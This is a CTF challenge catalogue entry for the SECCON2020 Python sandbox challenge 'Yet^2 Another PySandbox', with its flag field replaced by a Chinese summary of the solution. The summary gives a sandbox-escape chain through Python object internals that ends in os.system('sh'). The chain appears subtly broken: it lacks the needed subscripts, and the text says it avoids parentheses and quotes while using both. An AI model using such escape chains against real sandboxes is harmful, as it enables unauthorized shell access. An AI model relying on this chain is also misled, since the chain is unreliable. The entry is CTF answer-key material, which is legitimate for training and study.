| ID: | 2128 |
|---|---|
| 标题: | Yet^2 Another PySandbox |
| 描述: | hahaha, endless, YET YET ANOTHER python sandbox challenge! |
| 类型: | PWN |
| 网站: | bugku |
| 题目链接: | https://ctf.bugku.com/challenges/detail/id/2275.html |
| 赛事: | SECCON2020 |
| 年度: | 2020 |
| Flag值: | Yet2Another PySandbox的解法是通过构造(lambda:sandboxed_eval)()获取未过滤的eval函数,进而利用Python内置对象链执行系统命令。具体利用链为:().__class__.__bases__.__subclasses__().__init__.func_globals["sys"].modules["os.path"].os.system("sh"),该方法可绕过小括号和引号过滤。 |
| writeup: | https://moraprogramming.hateblo.jp/entry/2020/10/14/185946 |